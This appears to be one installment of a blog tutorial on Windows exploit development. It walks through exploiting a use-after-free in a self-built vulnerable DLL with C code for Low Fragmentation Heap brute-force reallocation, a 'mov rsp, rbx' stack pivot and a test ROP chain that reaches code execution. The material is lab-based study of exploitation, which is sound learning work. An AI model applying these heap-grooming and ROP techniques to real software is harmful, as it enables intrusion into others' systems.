OSCE3 | OSCE | OSCP
Home : Part 1 : Part 2 : Part 3
In the previous part I buit a vulnerable DLL to demonstrate how an information disclosure bug and a read primitive can be used to leak multiple module base addresses. I have developed the vulnerable DLL a bit more and added some more dodgy functionality with which to explore exploitation without having to worry about a great deal about bug discovery:
I am starting with only basic mitigations, such as ASLR and DEP/NX.
The code I have created does not use C++ classes so does not generate a real UaF (you can learn about those here), instead the initial allocation points to the GetLastError
Win32 API. If the FreeAllocation
function is not called then a call to the TriggerUaF
function will not crash the application. Let’s free the allocation and run it in WinDbg
using the following code:
FreeAllocation();
TriggerUaF();
Running this with the debugger attached we get a crash:
Doing a bit of gentle reverse engineering in IDA we can see that in the TriggerUaF
function there is a jmp
instruction at offset 0x1192
in the DLL
file:
We can put a breakpoint on this address and rerun the application with the debugger attached:
We can see that rax
points to the freed allocation, and that the allocation was of size 0xd0
. For reasons I don’t really understand (yet), the actual allocation was 0xb0
; to overwrite this pointer we need to make the correct allocation request.
I wrote a blog post a few weeks ago about how we can attempt to reallocate to freed addresses on the LFH. I am running my application in Windows 10 so I need to brute force the LFH to attempt to overwrite the previously allocated pointer:
FreeAllocation();
// attempt to reallocate to the freed memory
LPVOID alloc = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xb0);
if (alloc != NULL)
{
memset(alloc, 0x41, 0xb0);
*(LONGLONG*)alloc = (LONGLONG)0x1337133713371337;
}
// brute force the LFH
for (size_t c = 0; c < 0x100; c++)
{
Allocate(alloc, 0xb0);
}
TriggerUaF();
Setting a breakpoint at the same memory location and running the application we can see that we have brute forced the function pointer with 0x1337133713371337
:
This is, of course, invalid memory and will still crash. We can also view the LFH allocation that contains the fake function pointer:
What we need next is a stack pivot gadget that begins execution of a ROP chain. But, first we need somewhere to store a ROP chain to pivot to.
We know there is a GlobalAllocate
function in the vulnerable DLL, but what does it allow us to do. Some more gentle reverse engineering:
The last block in the GlobalAllocate
function calls HeapAlloc
using the arguments we send, and we also see that the return value (in rax
), which is the address of the allocation, is stored in a global variable called g_general_buffer
. We can easily locate this buffer using IDA:
Global variables are located in the .data
section and the addresses of these are at a static offset from the base address of the module. In the last post I demonstrated that we can get the DLL base aaddress so we can dynamically calculate the address of the global variable that points to the buffer that we can allocate using the vulnerable GlobalAllocate
function.
We can also use the arbitrary read to dereference this global variable and ‘leak’ the allocated address for the general buffer. If we can pivot the stack to this address it will make a perfect location for a fake stack with which to execute a ROP chain, and becasue we have an arbitrary read/write primitive we can read and write temporary values to it at offsets of our choosing.
Let’s see if we can allocate some memory, run the application in the debugger, and locate it using the global variable address:
FreeAllocation();
// ...
// allocate to the general buffer
LPVOID globalAlloc = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
if (globalAlloc != NULL)
{
memset(globalAlloc, 0x42, 0x1000);
GlobalAllocate(globalAlloc, 0x1000);
}
DebugBreak();
TriggerUaF();
I simply created a buffer of 0x1000
bytes and wrote 0x42
to every byte. When the debugger breaks we can see if the global variable points to the allocated buffer:
It does! And interestingly when we get to the jmp
instruction which jumps to our reallocated pointer, rbx
also points to our buffer:
If we could find a mov rsp, rbx
gadget then we could pivot the stack to this general buffer, and you know that is going to be possible - this is a simulation after all!
We an use rp-win.exe
to look for ROP gadgets that might help us pivot the stack:
And I find the correct gadget in VulnDLL.dll
:
This should come as no surprise. I am exploring exploit development techniques, so I simply planted this rop chain in my code (in a more realistic scenario it is going to be a bit more difficult to find a ROP gadget that will achieve our objective). I added an asm
function to the vulnerable DLL:
.CODE
ROPGadgets PROC
mov rsp, rbx;
ret;
ROPGadgets ENDP
END
Now we have a ROP gadget to pivot the stack we can change our exploit code to brute force the freed LFH chunk with our stack pivot gadget:
// attempt to reallocate to the freed memory
LPVOID alloc = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xb0);
if (alloc != NULL)
{
memset(alloc, 0x41, 0xb0);
*(LONGLONG*)alloc = (LONGLONG)(dllBase + 0x1290); // mov rsp, rbx ; ret ;
} // rbx points to our general buffer (rop chain)
// brute force the LFH
for (size_t c = 0; c < 0x100; c++)
{
Allocate(alloc, 0xb0);
}
Testing this in WinDbg
by adding a breakpoint on VulnDll + 0x1290
we can test our theory out:
When we run the application we hit our breakpoint. We can step through mov rsp, rbx
and then ret
and we get an Access Violation
; this is good! If we look at where rsp
now points, it points to the general buffer. This means we have pivoted our stack to an area of memory that we control. We can write a test ROP chain to this memory next.
In the final part of this blog I will write to the general buffer with a test ROP chain; basically some ROP NOPs and an int3
instruction. Just to prove that it works as intended:
// allocate to the general buffer
LPVOID globalAlloc = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
if (globalAlloc != NULL)
{
memset(globalAlloc, 0x42, 0x1000);
// build rop chain in the general buffer
DWORD index = 0;
PDWORD64 rop = (PDWORD64)(globalAlloc);
rop[index] = dllBase + 0x1007; index += 1; // ret ; (rop nop)
rop[index] = dllBase + 0x1007; index += 1; // ret ; (rop nop)
rop[index] = dllBase + 0x1007; index += 1; // ret ; (rop nop)
rop[index] = dllBase + 0x1007; index += 1; // ret ; (rop nop)
rop[index] = ntdllBase + 0xa3060; index += 1; // int3 ; ret ; (debug)
GlobalAllocate(globalAlloc, 0x1000);
}
Instead of allocating and writing 0x1000
B
characters I have allocated and written a very small ROP chain to test that everything works as intended. Let’s test this!
Everything looks to be working as intended. We break on the brute forced stack pivot, we step through the pivot and note that the stack is now located at our allocated general buffer, when we continue execution we hit the int3
ROP gadget. We now have code execution!
Hopefully this helps illustrate what has happened so far:
In the next part things will start to get a bit more interesting. If all goes to plan, I will write about how I will execute shellcode in the general buffer (after making it executable), repair the registers and the stack (so the app doesn’t crash), and start switching on mitigations! This is the main reason I am writing all of this. It is good to solidify my understanding of the exploitation techniques so far, but I need to understand the mitigations in Windows and how I might be able to work around them.
Feel free to leave comments or questions for this blog post. Please be respectful, I will moderate comments and reserve the right to remove them.